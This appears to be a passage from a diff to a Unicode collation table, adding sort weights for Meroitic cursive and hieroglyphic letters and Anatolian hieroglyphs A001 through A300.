+109A8 ; [.524A.0020.0002] # MEROITIC CURSIVE LETTER MA
+10989 ; [.524A.0020.0004][.0000.0110.0004] # MEROITIC HIEROGLYPHIC LETTER MA
+109A9 ; [.524B.0020.0002] # MEROITIC CURSIVE LETTER NA
+1098A ; [.524B.0020.0004][.0000.0110.0004] # MEROITIC HIEROGLYPHIC LETTER NA
+1098B ; [.524B.0020.0004][.0000.0111.0004] # MEROITIC HIEROGLYPHIC LETTER NA-2
+109AA ; [.524C.0020.0002] # MEROITIC CURSIVE LETTER NE
+1098C ; [.524C.0020.0004][.0000.0110.0004] # MEROITIC HIEROGLYPHIC LETTER NE
+1098D ; [.524C.0020.0004][.0000.0111.0004] # MEROITIC HIEROGLYPHIC LETTER NE-2
+109AB ; [.524D.0020.0002] # MEROITIC CURSIVE LETTER RA
+1098E ; [.524D.0020.0004][.0000.0110.0004] # MEROITIC HIEROGLYPHIC LETTER RA
+1098F ; [.524D.0020.0004][.0000.0111.0004] # MEROITIC HIEROGLYPHIC LETTER RA-2
+109AC ; [.524E.0020.0002] # MEROITIC CURSIVE LETTER LA
+10990 ; [.524E.0020.0004][.0000.0110.0004] # MEROITIC HIEROGLYPHIC LETTER LA
+109AD ; [.524F.0020.0002] # MEROITIC CURSIVE LETTER KHA
+10991 ; [.524F.0020.0004][.0000.0110.0004] # MEROITIC HIEROGLYPHIC LETTER KHA
+109AE ; [.5250.0020.0002] # MEROITIC CURSIVE LETTER HHA
+10992 ; [.5250.0020.0004][.0000.0110.0004] # MEROITIC HIEROGLYPHIC LETTER HHA
+109AF ; [.5251.0020.0002] # MEROITIC CURSIVE LETTER SA
+109B0 ; [.5251.0020.0004][.0000.0110.0004] # MEROITIC CURSIVE LETTER ARCHAIC SA
+10993 ; [.5251.0020.0004][.0000.0111.0004] # MEROITIC HIEROGLYPHIC LETTER SA
+10994 ; [.5251.0020.0004][.0000.0112.0004] # MEROITIC HIEROGLYPHIC LETTER SA-2
+109B1 ; [.5252.0020.0002] # MEROITIC CURSIVE LETTER SE
+10995 ; [.5252.0020.0004][.0000.0110.0004] # MEROITIC HIEROGLYPHIC LETTER SE
+109B2 ; [.5253.0020.0002] # MEROITIC CURSIVE LETTER KA
+10996 ; [.5253.0020.0004][.0000.0110.0004] # MEROITIC HIEROGLYPHIC LETTER KA
+109B3 ; [.5254.0020.0002] # MEROITIC CURSIVE LETTER QA
+10997 ; [.5254.0020.0004][.0000.0110.0004] # MEROITIC HIEROGLYPHIC LETTER QA
+109B4 ; [.5255.0020.0002] # MEROITIC CURSIVE LETTER TA
+10998 ; [.5255.0020.0004][.0000.0110.0004] # MEROITIC HIEROGLYPHIC LETTER TA
+10999 ; [.5255.0020.0004][.0000.0111.0004] # MEROITIC HIEROGLYPHIC LETTER TA-2
+109B5 ; [.5256.0020.0002] # MEROITIC CURSIVE LETTER TE
+1099A ; [.5256.0020.0004][.0000.0110.0004] # MEROITIC HIEROGLYPHIC LETTER TE
+1099B ; [.5256.0020.0004][.0000.0111.0004] # MEROITIC HIEROGLYPHIC LETTER TE-2
+109B6 ; [.5257.0020.0002] # MEROITIC CURSIVE LETTER TO
+1099C ; [.5257.0020.0004][.0000.0110.0004] # MEROITIC HIEROGLYPHIC LETTER TO
+109B7 ; [.5258.0020.0002] # MEROITIC CURSIVE LETTER DA
+1099D ; [.5258.0020.0004][.0000.0110.0004] # MEROITIC HIEROGLYPHIC LETTER DA
+109BE ; [.5259.0020.0002] # MEROITIC CURSIVE LOGOGRAM RMT
+109BF ; [.525A.0020.0002] # MEROITIC CURSIVE LOGOGRAM IMN
+1099E ; [.525B.0020.0002] # MEROITIC HIEROGLYPHIC SYMBOL VIDJ
+1099F ; [.525C.0020.0002] # MEROITIC HIEROGLYPHIC SYMBOL VIDJ-2
+14400 ; [.525D.0020.0002] # ANATOLIAN HIEROGLYPH A001
+14401 ; [.525E.0020.0002] # ANATOLIAN HIEROGLYPH A002
+14402 ; [.525F.0020.0002] # ANATOLIAN HIEROGLYPH A003
+14403 ; [.5260.0020.0002] # ANATOLIAN HIEROGLYPH A004
+14404 ; [.5261.0020.0002] # ANATOLIAN HIEROGLYPH A005
+14405 ; [.5262.0020.0002] # ANATOLIAN HIEROGLYPH A006
+14406 ; [.5263.0020.0002] # ANATOLIAN HIEROGLYPH A007
+14407 ; [.5264.0020.0002] # ANATOLIAN HIEROGLYPH A008
+14408 ; [.5265.0020.0002] # ANATOLIAN HIEROGLYPH A009
+14409 ; [.5266.0020.0002] # ANATOLIAN HIEROGLYPH A010
+1440A ; [.5267.0020.0002] # ANATOLIAN HIEROGLYPH A010A
+1440B ; [.5268.0020.0002] # ANATOLIAN HIEROGLYPH A011
+1440C ; [.5269.0020.0002] # ANATOLIAN HIEROGLYPH A012
+1440D ; [.526A.0020.0002] # ANATOLIAN HIEROGLYPH A013
+1440E ; [.526B.0020.0002] # ANATOLIAN HIEROGLYPH A014
+1440F ; [.526C.0020.0002] # ANATOLIAN HIEROGLYPH A015
+14410 ; [.526D.0020.0002] # ANATOLIAN HIEROGLYPH A016
+14411 ; [.526E.0020.0002] # ANATOLIAN HIEROGLYPH A017
+14412 ; [.526F.0020.0002] # ANATOLIAN HIEROGLYPH A018
+14413 ; [.5270.0020.0002] # ANATOLIAN HIEROGLYPH A019
+14414 ; [.5271.0020.0002] # ANATOLIAN HIEROGLYPH A020
+14415 ; [.5272.0020.0002] # ANATOLIAN HIEROGLYPH A021
+14416 ; [.5273.0020.0002] # ANATOLIAN HIEROGLYPH A022
+14417 ; [.5274.0020.0002] # ANATOLIAN HIEROGLYPH A023
+14418 ; [.5275.0020.0002] # ANATOLIAN HIEROGLYPH A024
+14419 ; [.5276.0020.0002] # ANATOLIAN HIEROGLYPH A025
+1441A ; [.5277.0020.0002] # ANATOLIAN HIEROGLYPH A026
+1441B ; [.5278.0020.0002] # ANATOLIAN HIEROGLYPH A026A
+1441C ; [.5279.0020.0002] # ANATOLIAN HIEROGLYPH A027
+1441D ; [.527A.0020.0002] # ANATOLIAN HIEROGLYPH A028
+1441E ; [.527B.0020.0002] # ANATOLIAN HIEROGLYPH A029
+1441F ; [.527C.0020.0002] # ANATOLIAN HIEROGLYPH A030
+14420 ; [.527D.0020.0002] # ANATOLIAN HIEROGLYPH A031
+14421 ; [.527E.0020.0002] # ANATOLIAN HIEROGLYPH A032
+14422 ; [.527F.0020.0002] # ANATOLIAN HIEROGLYPH A033
+14423 ; [.5280.0020.0002] # ANATOLIAN HIEROGLYPH A034
+14424 ; [.5281.0020.0002] # ANATOLIAN HIEROGLYPH A035
+14425 ; [.5282.0020.0002] # ANATOLIAN HIEROGLYPH A036
+14426 ; [.5283.0020.0002] # ANATOLIAN HIEROGLYPH A037
+14427 ; [.5284.0020.0002] # ANATOLIAN HIEROGLYPH A038
+14428 ; [.5285.0020.0002] # ANATOLIAN HIEROGLYPH A039
+14429 ; [.5286.0020.0002] # ANATOLIAN HIEROGLYPH A039A
+1442A ; [.5287.0020.0002] # ANATOLIAN HIEROGLYPH A040
+1442B ; [.5288.0020.0002] # ANATOLIAN HIEROGLYPH A041
+1442C ; [.5289.0020.0002] # ANATOLIAN HIEROGLYPH A041A
+1442D ; [.528A.0020.0002] # ANATOLIAN HIEROGLYPH A042
+1442E ; [.528B.0020.0002] # ANATOLIAN HIEROGLYPH A043
+1442F ; [.528C.0020.0002] # ANATOLIAN HIEROGLYPH A044
+14430 ; [.528D.0020.0002] # ANATOLIAN HIEROGLYPH A045
+14431 ; [.528E.0020.0002] # ANATOLIAN HIEROGLYPH A045A
+14432 ; [.528F.0020.0002] # ANATOLIAN HIEROGLYPH A046
+14433 ; [.5290.0020.0002] # ANATOLIAN HIEROGLYPH A046A
+14434 ; [.5291.0020.0002] # ANATOLIAN HIEROGLYPH A046B
+14435 ; [.5292.0020.0002] # ANATOLIAN HIEROGLYPH A047
+14436 ; [.5293.0020.0002] # ANATOLIAN HIEROGLYPH A048
+14437 ; [.5294.0020.0002] # ANATOLIAN HIEROGLYPH A049
+14438 ; [.5295.0020.0002] # ANATOLIAN HIEROGLYPH A050
+14439 ; [.5296.0020.0002] # ANATOLIAN HIEROGLYPH A051
+1443A ; [.5297.0020.0002] # ANATOLIAN HIEROGLYPH A052
+1443B ; [.5298.0020.0002] # ANATOLIAN HIEROGLYPH A053
+1443C ; [.5299.0020.0002] # ANATOLIAN HIEROGLYPH A054
+1443D ; [.529A.0020.0002] # ANATOLIAN HIEROGLYPH A055
+1443E ; [.529B.0020.0002] # ANATOLIAN HIEROGLYPH A056
+1443F ; [.529C.0020.0002] # ANATOLIAN HIEROGLYPH A057
+14440 ; [.529D.0020.0002] # ANATOLIAN HIEROGLYPH A058
+14441 ; [.529E.0020.0002] # ANATOLIAN HIEROGLYPH A059
+14442 ; [.529F.0020.0002] # ANATOLIAN HIEROGLYPH A060
+14443 ; [.52A0.0020.0002] # ANATOLIAN HIEROGLYPH A061
+14444 ; [.52A1.0020.0002] # ANATOLIAN HIEROGLYPH A062
+14445 ; [.52A2.0020.0002] # ANATOLIAN HIEROGLYPH A063
+14446 ; [.52A3.0020.0002] # ANATOLIAN HIEROGLYPH A064
+14447 ; [.52A4.0020.0002] # ANATOLIAN HIEROGLYPH A065
+14448 ; [.52A5.0020.0002] # ANATOLIAN HIEROGLYPH A066
+14449 ; [.52A6.0020.0002] # ANATOLIAN HIEROGLYPH A066A
+1444A ; [.52A7.0020.0002] # ANATOLIAN HIEROGLYPH A066B
+1444B ; [.52A8.0020.0002] # ANATOLIAN HIEROGLYPH A066C
+1444C ; [.52A9.0020.0002] # ANATOLIAN HIEROGLYPH A067
+1444D ; [.52AA.0020.0002] # ANATOLIAN HIEROGLYPH A068
+1444E ; [.52AB.0020.0002] # ANATOLIAN HIEROGLYPH A069
+1444F ; [.52AC.0020.0002] # ANATOLIAN HIEROGLYPH A070
+14450 ; [.52AD.0020.0002] # ANATOLIAN HIEROGLYPH A071
+14451 ; [.52AE.0020.0002] # ANATOLIAN HIEROGLYPH A072
+14452 ; [.52AF.0020.0002] # ANATOLIAN HIEROGLYPH A073
+14453 ; [.52B0.0020.0002] # ANATOLIAN HIEROGLYPH A074
+14454 ; [.52B1.0020.0002] # ANATOLIAN HIEROGLYPH A075
+14455 ; [.52B2.0020.0002] # ANATOLIAN HIEROGLYPH A076
+14456 ; [.52B3.0020.0002] # ANATOLIAN HIEROGLYPH A077
+14457 ; [.52B4.0020.0002] # ANATOLIAN HIEROGLYPH A078
+14458 ; [.52B5.0020.0002] # ANATOLIAN HIEROGLYPH A079
+14459 ; [.52B6.0020.0002] # ANATOLIAN HIEROGLYPH A080
+1445A ; [.52B7.0020.0002] # ANATOLIAN HIEROGLYPH A081
+1445B ; [.52B8.0020.0002] # ANATOLIAN HIEROGLYPH A082
+1445C ; [.52B9.0020.0002] # ANATOLIAN HIEROGLYPH A083
+1445D ; [.52BA.0020.0002] # ANATOLIAN HIEROGLYPH A084
+1445E ; [.52BB.0020.0002] # ANATOLIAN HIEROGLYPH A085
+1445F ; [.52BC.0020.0002] # ANATOLIAN HIEROGLYPH A086
+14460 ; [.52BD.0020.0002] # ANATOLIAN HIEROGLYPH A087
+14461 ; [.52BE.0020.0002] # ANATOLIAN HIEROGLYPH A088
+14462 ; [.52BF.0020.0002] # ANATOLIAN HIEROGLYPH A089
+14463 ; [.52C0.0020.0002] # ANATOLIAN HIEROGLYPH A090
+14464 ; [.52C1.0020.0002] # ANATOLIAN HIEROGLYPH A091
+14465 ; [.52C2.0020.0002] # ANATOLIAN HIEROGLYPH A092
+14466 ; [.52C3.0020.0002] # ANATOLIAN HIEROGLYPH A093
+14467 ; [.52C4.0020.0002] # ANATOLIAN HIEROGLYPH A094
+14468 ; [.52C5.0020.0002] # ANATOLIAN HIEROGLYPH A095
+14469 ; [.52C6.0020.0002] # ANATOLIAN HIEROGLYPH A096
+1446A ; [.52C7.0020.0002] # ANATOLIAN HIEROGLYPH A097
+1446B ; [.52C8.0020.0002] # ANATOLIAN HIEROGLYPH A097A
+1446C ; [.52C9.0020.0002] # ANATOLIAN HIEROGLYPH A098
+1446D ; [.52CA.0020.0002] # ANATOLIAN HIEROGLYPH A098A
+1446E ; [.52CB.0020.0002] # ANATOLIAN HIEROGLYPH A099
+1446F ; [.52CC.0020.0002] # ANATOLIAN HIEROGLYPH A100
+14470 ; [.52CD.0020.0002] # ANATOLIAN HIEROGLYPH A100A
+14471 ; [.52CE.0020.0002] # ANATOLIAN HIEROGLYPH A101
+14472 ; [.52CF.0020.0002] # ANATOLIAN HIEROGLYPH A101A
+14473 ; [.52D0.0020.0002] # ANATOLIAN HIEROGLYPH A102
+14474 ; [.52D1.0020.0002] # ANATOLIAN HIEROGLYPH A102A
+14475 ; [.52D2.0020.0002] # ANATOLIAN HIEROGLYPH A103
+14476 ; [.52D3.0020.0002] # ANATOLIAN HIEROGLYPH A104
+14477 ; [.52D4.0020.0002] # ANATOLIAN HIEROGLYPH A104A
+14478 ; [.52D5.0020.0002] # ANATOLIAN HIEROGLYPH A104B
+14479 ; [.52D6.0020.0002] # ANATOLIAN HIEROGLYPH A104C
+1447A ; [.52D7.0020.0002] # ANATOLIAN HIEROGLYPH A105
+1447B ; [.52D8.0020.0002] # ANATOLIAN HIEROGLYPH A105A
+1447C ; [.52D9.0020.0002] # ANATOLIAN HIEROGLYPH A105B
+1447D ; [.52DA.0020.0002] # ANATOLIAN HIEROGLYPH A106
+1447E ; [.52DB.0020.0002] # ANATOLIAN HIEROGLYPH A107
+1447F ; [.52DC.0020.0002] # ANATOLIAN HIEROGLYPH A107A
+14480 ; [.52DD.0020.0002] # ANATOLIAN HIEROGLYPH A107B
+14481 ; [.52DE.0020.0002] # ANATOLIAN HIEROGLYPH A107C
+14482 ; [.52DF.0020.0002] # ANATOLIAN HIEROGLYPH A108
+14483 ; [.52E0.0020.0002] # ANATOLIAN HIEROGLYPH A109
+14484 ; [.52E1.0020.0002] # ANATOLIAN HIEROGLYPH A110
+14485 ; [.52E2.0020.0002] # ANATOLIAN HIEROGLYPH A110A
+14486 ; [.52E3.0020.0002] # ANATOLIAN HIEROGLYPH A110B
+14487 ; [.52E4.0020.0002] # ANATOLIAN HIEROGLYPH A111
+14488 ; [.52E5.0020.0002] # ANATOLIAN HIEROGLYPH A112
+14489 ; [.52E6.0020.0002] # ANATOLIAN HIEROGLYPH A113
+1448A ; [.52E7.0020.0002] # ANATOLIAN HIEROGLYPH A114
+1448B ; [.52E8.0020.0002] # ANATOLIAN HIEROGLYPH A115
+1448C ; [.52E9.0020.0002] # ANATOLIAN HIEROGLYPH A115A
+1448D ; [.52EA.0020.0002] # ANATOLIAN HIEROGLYPH A116
+1448E ; [.52EB.0020.0002] # ANATOLIAN HIEROGLYPH A117
+1448F ; [.52EC.0020.0002] # ANATOLIAN HIEROGLYPH A118
+14490 ; [.52ED.0020.0002] # ANATOLIAN HIEROGLYPH A119
+14491 ; [.52EE.0020.0002] # ANATOLIAN HIEROGLYPH A120
+14492 ; [.52EF.0020.0002] # ANATOLIAN HIEROGLYPH A121
+14493 ; [.52F0.0020.0002] # ANATOLIAN HIEROGLYPH A122
+14494 ; [.52F1.0020.0002] # ANATOLIAN HIEROGLYPH A123
+14495 ; [.52F2.0020.0002] # ANATOLIAN HIEROGLYPH A124
+14496 ; [.52F3.0020.0002] # ANATOLIAN HIEROGLYPH A125
+14497 ; [.52F4.0020.0002] # ANATOLIAN HIEROGLYPH A125A
+14498 ; [.52F5.0020.0002] # ANATOLIAN HIEROGLYPH A126
+14499 ; [.52F6.0020.0002] # ANATOLIAN HIEROGLYPH A127
+1449A ; [.52F7.0020.0002] # ANATOLIAN HIEROGLYPH A128
+1449B ; [.52F8.0020.0002] # ANATOLIAN HIEROGLYPH A129
+1449C ; [.52F9.0020.0002] # ANATOLIAN HIEROGLYPH A130
+1449D ; [.52FA.0020.0002] # ANATOLIAN HIEROGLYPH A131
+1449E ; [.52FB.0020.0002] # ANATOLIAN HIEROGLYPH A132
+1449F ; [.52FC.0020.0002] # ANATOLIAN HIEROGLYPH A133
+144A0 ; [.52FD.0020.0002] # ANATOLIAN HIEROGLYPH A134
+144A1 ; [.52FE.0020.0002] # ANATOLIAN HIEROGLYPH A135
+144A2 ; [.52FF.0020.0002] # ANATOLIAN HIEROGLYPH A135A
+144A3 ; [.5300.0020.0002] # ANATOLIAN HIEROGLYPH A136
+144A4 ; [.5301.0020.0002] # ANATOLIAN HIEROGLYPH A137
+144A5 ; [.5302.0020.0002] # ANATOLIAN HIEROGLYPH A138
+144A6 ; [.5303.0020.0002] # ANATOLIAN HIEROGLYPH A139
+144A7 ; [.5304.0020.0002] # ANATOLIAN HIEROGLYPH A140
+144A8 ; [.5305.0020.0002] # ANATOLIAN HIEROGLYPH A141
+144A9 ; [.5306.0020.0002] # ANATOLIAN HIEROGLYPH A142
+144AA ; [.5307.0020.0002] # ANATOLIAN HIEROGLYPH A143
+144AB ; [.5308.0020.0002] # ANATOLIAN HIEROGLYPH A144
+144AC ; [.5309.0020.0002] # ANATOLIAN HIEROGLYPH A145
+144AD ; [.530A.0020.0002] # ANATOLIAN HIEROGLYPH A146
+144AE ; [.530B.0020.0002] # ANATOLIAN HIEROGLYPH A147
+144AF ; [.530C.0020.0002] # ANATOLIAN HIEROGLYPH A148
+144B0 ; [.530D.0020.0002] # ANATOLIAN HIEROGLYPH A149
+144B1 ; [.530E.0020.0002] # ANATOLIAN HIEROGLYPH A150
+144B2 ; [.530F.0020.0002] # ANATOLIAN HIEROGLYPH A151
+144B3 ; [.5310.0020.0002] # ANATOLIAN HIEROGLYPH A152
+144B4 ; [.5311.0020.0002] # ANATOLIAN HIEROGLYPH A153
+144B5 ; [.5312.0020.0002] # ANATOLIAN HIEROGLYPH A154
+144B6 ; [.5313.0020.0002] # ANATOLIAN HIEROGLYPH A155
+144B7 ; [.5314.0020.0002] # ANATOLIAN HIEROGLYPH A156
+144B8 ; [.5315.0020.0002] # ANATOLIAN HIEROGLYPH A157
+144B9 ; [.5316.0020.0002] # ANATOLIAN HIEROGLYPH A158
+144BA ; [.5317.0020.0002] # ANATOLIAN HIEROGLYPH A159
+144BB ; [.5318.0020.0002] # ANATOLIAN HIEROGLYPH A160
+144BC ; [.5319.0020.0002] # ANATOLIAN HIEROGLYPH A161
+144BD ; [.531A.0020.0002] # ANATOLIAN HIEROGLYPH A162
+144BE ; [.531B.0020.0002] # ANATOLIAN HIEROGLYPH A163
+144BF ; [.531C.0020.0002] # ANATOLIAN HIEROGLYPH A164
+144C0 ; [.531D.0020.0002] # ANATOLIAN HIEROGLYPH A165
+144C1 ; [.531E.0020.0002] # ANATOLIAN HIEROGLYPH A166
+144C2 ; [.531F.0020.0002] # ANATOLIAN HIEROGLYPH A167
+144C3 ; [.5320.0020.0002] # ANATOLIAN HIEROGLYPH A168
+144C4 ; [.5321.0020.0002] # ANATOLIAN HIEROGLYPH A169
+144C5 ; [.5322.0020.0002] # ANATOLIAN HIEROGLYPH A170
+144C6 ; [.5323.0020.0002] # ANATOLIAN HIEROGLYPH A171
+144C7 ; [.5324.0020.0002] # ANATOLIAN HIEROGLYPH A172
+144C8 ; [.5325.0020.0002] # ANATOLIAN HIEROGLYPH A173
+144C9 ; [.5326.0020.0002] # ANATOLIAN HIEROGLYPH A174
+144CA ; [.5327.0020.0002] # ANATOLIAN HIEROGLYPH A175
+144CB ; [.5328.0020.0002] # ANATOLIAN HIEROGLYPH A176
+144CC ; [.5329.0020.0002] # ANATOLIAN HIEROGLYPH A177
+144CD ; [.532A.0020.0002] # ANATOLIAN HIEROGLYPH A178
+144CE ; [.532B.0020.0002] # ANATOLIAN HIEROGLYPH A179
+144CF ; [.532C.0020.0002] # ANATOLIAN HIEROGLYPH A180
+144D0 ; [.532D.0020.0002] # ANATOLIAN HIEROGLYPH A181
+144D1 ; [.532E.0020.0002] # ANATOLIAN HIEROGLYPH A182
+144D2 ; [.532F.0020.0002] # ANATOLIAN HIEROGLYPH A183
+144D3 ; [.5330.0020.0002] # ANATOLIAN HIEROGLYPH A184
+144D4 ; [.5331.0020.0002] # ANATOLIAN HIEROGLYPH A185
+144D5 ; [.5332.0020.0002] # ANATOLIAN HIEROGLYPH A186
+144D6 ; [.5333.0020.0002] # ANATOLIAN HIEROGLYPH A187
+144D7 ; [.5334.0020.0002] # ANATOLIAN HIEROGLYPH A188
+144D8 ; [.5335.0020.0002] # ANATOLIAN HIEROGLYPH A189
+144D9 ; [.5336.0020.0002] # ANATOLIAN HIEROGLYPH A190
+144DA ; [.5337.0020.0002] # ANATOLIAN HIEROGLYPH A191
+144DB ; [.5338.0020.0002] # ANATOLIAN HIEROGLYPH A192
+144DC ; [.5339.0020.0002] # ANATOLIAN HIEROGLYPH A193
+144DD ; [.533A.0020.0002] # ANATOLIAN HIEROGLYPH A194
+144DE ; [.533B.0020.0002] # ANATOLIAN HIEROGLYPH A195
+144DF ; [.533C.0020.0002] # ANATOLIAN HIEROGLYPH A196
+144E0 ; [.533D.0020.0002] # ANATOLIAN HIEROGLYPH A197
+144E1 ; [.533E.0020.0002] # ANATOLIAN HIEROGLYPH A198
+144E2 ; [.533F.0020.0002] # ANATOLIAN HIEROGLYPH A199
+144E3 ; [.5340.0020.0002] # ANATOLIAN HIEROGLYPH A200
+144E4 ; [.5341.0020.0002] # ANATOLIAN HIEROGLYPH A201
+144E5 ; [.5342.0020.0002] # ANATOLIAN HIEROGLYPH A202
+144E6 ; [.5343.0020.0002] # ANATOLIAN HIEROGLYPH A202A
+144E7 ; [.5344.0020.0002] # ANATOLIAN HIEROGLYPH A202B
+144E8 ; [.5345.0020.0002] # ANATOLIAN HIEROGLYPH A203
+144E9 ; [.5346.0020.0002] # ANATOLIAN HIEROGLYPH A204
+144EA ; [.5347.0020.0002] # ANATOLIAN HIEROGLYPH A205
+144EB ; [.5348.0020.0002] # ANATOLIAN HIEROGLYPH A206
+144EC ; [.5349.0020.0002] # ANATOLIAN HIEROGLYPH A207
+144ED ; [.534A.0020.0002] # ANATOLIAN HIEROGLYPH A207A
+144EE ; [.534B.0020.0002] # ANATOLIAN HIEROGLYPH A208
+144EF ; [.534C.0020.0002] # ANATOLIAN HIEROGLYPH A209
+144F0 ; [.534D.0020.0002] # ANATOLIAN HIEROGLYPH A209A
+144F1 ; [.534E.0020.0002] # ANATOLIAN HIEROGLYPH A210
+144F2 ; [.534F.0020.0002] # ANATOLIAN HIEROGLYPH A211
+144F3 ; [.5350.0020.0002] # ANATOLIAN HIEROGLYPH A212
+144F4 ; [.5351.0020.0002] # ANATOLIAN HIEROGLYPH A213
+144F5 ; [.5352.0020.0002] # ANATOLIAN HIEROGLYPH A214
+144F6 ; [.5353.0020.0002] # ANATOLIAN HIEROGLYPH A215
+144F7 ; [.5354.0020.0002] # ANATOLIAN HIEROGLYPH A215A
+144F8 ; [.5355.0020.0002] # ANATOLIAN HIEROGLYPH A216
+144F9 ; [.5356.0020.0002] # ANATOLIAN HIEROGLYPH A216A
+144FA ; [.5357.0020.0002] # ANATOLIAN HIEROGLYPH A217
+144FB ; [.5358.0020.0002] # ANATOLIAN HIEROGLYPH A218
+144FC ; [.5359.0020.0002] # ANATOLIAN HIEROGLYPH A219
+144FD ; [.535A.0020.0002] # ANATOLIAN HIEROGLYPH A220
+144FE ; [.535B.0020.0002] # ANATOLIAN HIEROGLYPH A221
+144FF ; [.535C.0020.0002] # ANATOLIAN HIEROGLYPH A222
+14500 ; [.535D.0020.0002] # ANATOLIAN HIEROGLYPH A223
+14501 ; [.535E.0020.0002] # ANATOLIAN HIEROGLYPH A224
+14502 ; [.535F.0020.0002] # ANATOLIAN HIEROGLYPH A225
+14503 ; [.5360.0020.0002] # ANATOLIAN HIEROGLYPH A226
+14504 ; [.5361.0020.0002] # ANATOLIAN HIEROGLYPH A227
+14505 ; [.5362.0020.0002] # ANATOLIAN HIEROGLYPH A227A
+14506 ; [.5363.0020.0002] # ANATOLIAN HIEROGLYPH A228
+14507 ; [.5364.0020.0002] # ANATOLIAN HIEROGLYPH A229
+14508 ; [.5365.0020.0002] # ANATOLIAN HIEROGLYPH A230
+14509 ; [.5366.0020.0002] # ANATOLIAN HIEROGLYPH A231
+1450A ; [.5367.0020.0002] # ANATOLIAN HIEROGLYPH A232
+1450B ; [.5368.0020.0002] # ANATOLIAN HIEROGLYPH A233
+1450C ; [.5369.0020.0002] # ANATOLIAN HIEROGLYPH A234
+1450D ; [.536A.0020.0002] # ANATOLIAN HIEROGLYPH A235
+1450E ; [.536B.0020.0002] # ANATOLIAN HIEROGLYPH A236
+1450F ; [.536C.0020.0002] # ANATOLIAN HIEROGLYPH A237
+14510 ; [.536D.0020.0002] # ANATOLIAN HIEROGLYPH A238
+14511 ; [.536E.0020.0002] # ANATOLIAN HIEROGLYPH A239
+14512 ; [.536F.0020.0002] # ANATOLIAN HIEROGLYPH A240
+14513 ; [.5370.0020.0002] # ANATOLIAN HIEROGLYPH A241
+14514 ; [.5371.0020.0002] # ANATOLIAN HIEROGLYPH A242
+14515 ; [.5372.0020.0002] # ANATOLIAN HIEROGLYPH A243
+14516 ; [.5373.0020.0002] # ANATOLIAN HIEROGLYPH A244
+14517 ; [.5374.0020.0002] # ANATOLIAN HIEROGLYPH A245
+14518 ; [.5375.0020.0002] # ANATOLIAN HIEROGLYPH A246
+14519 ; [.5376.0020.0002] # ANATOLIAN HIEROGLYPH A247
+1451A ; [.5377.0020.0002] # ANATOLIAN HIEROGLYPH A248
+1451B ; [.5378.0020.0002] # ANATOLIAN HIEROGLYPH A249
+1451C ; [.5379.0020.0002] # ANATOLIAN HIEROGLYPH A250
+1451D ; [.537A.0020.0002] # ANATOLIAN HIEROGLYPH A251
+1451E ; [.537B.0020.0002] # ANATOLIAN HIEROGLYPH A252
+1451F ; [.537C.0020.0002] # ANATOLIAN HIEROGLYPH A253
+14520 ; [.537D.0020.0002] # ANATOLIAN HIEROGLYPH A254
+14521 ; [.537E.0020.0002] # ANATOLIAN HIEROGLYPH A255
+14522 ; [.537F.0020.0002] # ANATOLIAN HIEROGLYPH A256
+14523 ; [.5380.0020.0002] # ANATOLIAN HIEROGLYPH A257
+14524 ; [.5381.0020.0002] # ANATOLIAN HIEROGLYPH A258
+14525 ; [.5382.0020.0002] # ANATOLIAN HIEROGLYPH A259
+14526 ; [.5383.0020.0002] # ANATOLIAN HIEROGLYPH A260
+14527 ; [.5384.0020.0002] # ANATOLIAN HIEROGLYPH A261
+14528 ; [.5385.0020.0002] # ANATOLIAN HIEROGLYPH A262
+14529 ; [.5386.0020.0002] # ANATOLIAN HIEROGLYPH A263
+1452A ; [.5387.0020.0002] # ANATOLIAN HIEROGLYPH A264
+1452B ; [.5388.0020.0002] # ANATOLIAN HIEROGLYPH A265
+1452C ; [.5389.0020.0002] # ANATOLIAN HIEROGLYPH A266
+1452D ; [.538A.0020.0002] # ANATOLIAN HIEROGLYPH A267
+1452E ; [.538B.0020.0002] # ANATOLIAN HIEROGLYPH A267A
+1452F ; [.538C.0020.0002] # ANATOLIAN HIEROGLYPH A268
+14530 ; [.538D.0020.0002] # ANATOLIAN HIEROGLYPH A269
+14531 ; [.538E.0020.0002] # ANATOLIAN HIEROGLYPH A270
+14532 ; [.538F.0020.0002] # ANATOLIAN HIEROGLYPH A271
+14533 ; [.5390.0020.0002] # ANATOLIAN HIEROGLYPH A272
+14534 ; [.5391.0020.0002] # ANATOLIAN HIEROGLYPH A273
+14535 ; [.5392.0020.0002] # ANATOLIAN HIEROGLYPH A274
+14536 ; [.5393.0020.0002] # ANATOLIAN HIEROGLYPH A275
+14537 ; [.5394.0020.0002] # ANATOLIAN HIEROGLYPH A276
+14538 ; [.5395.0020.0002] # ANATOLIAN HIEROGLYPH A277
+14539 ; [.5396.0020.0002] # ANATOLIAN HIEROGLYPH A278
+1453A ; [.5397.0020.0002] # ANATOLIAN HIEROGLYPH A279
+1453B ; [.5398.0020.0002] # ANATOLIAN HIEROGLYPH A280
+1453C ; [.5399.0020.0002] # ANATOLIAN HIEROGLYPH A281
+1453D ; [.539A.0020.0002] # ANATOLIAN HIEROGLYPH A282
+1453E ; [.539B.0020.0002] # ANATOLIAN HIEROGLYPH A283
+1453F ; [.539C.0020.0002] # ANATOLIAN HIEROGLYPH A284
+14540 ; [.539D.0020.0002] # ANATOLIAN HIEROGLYPH A285
+14541 ; [.539E.0020.0002] # ANATOLIAN HIEROGLYPH A286
+14542 ; [.539F.0020.0002] # ANATOLIAN HIEROGLYPH A287
+14543 ; [.53A0.0020.0002] # ANATOLIAN HIEROGLYPH A288
+14544 ; [.53A1.0020.0002] # ANATOLIAN HIEROGLYPH A289
+14545 ; [.53A2.0020.0002] # ANATOLIAN HIEROGLYPH A289A
+14546 ; [.53A3.0020.0002] # ANATOLIAN HIEROGLYPH A290
+14547 ; [.53A4.0020.0002] # ANATOLIAN HIEROGLYPH A291
+14548 ; [.53A5.0020.0002] # ANATOLIAN HIEROGLYPH A292
+14549 ; [.53A6.0020.0002] # ANATOLIAN HIEROGLYPH A293
+1454A ; [.53A7.0020.0002] # ANATOLIAN HIEROGLYPH A294
+1454B ; [.53A8.0020.0002] # ANATOLIAN HIEROGLYPH A294A
+1454C ; [.53A9.0020.0002] # ANATOLIAN HIEROGLYPH A295
+1454D ; [.53AA.0020.0002] # ANATOLIAN HIEROGLYPH A296
+1454E ; [.53AB.0020.0002] # ANATOLIAN HIEROGLYPH A297
+1454F ; [.53AC.0020.0002] # ANATOLIAN HIEROGLYPH A298
+14550 ; [.53AD.0020.0002] # ANATOLIAN HIEROGLYPH A299
+14551 ; [.53AE.0020.0002] # ANATOLIAN HIEROGLYPH A299A
+14552 ; [.53AF.0020.0002] # ANATOLIAN HIEROGLYPH A300
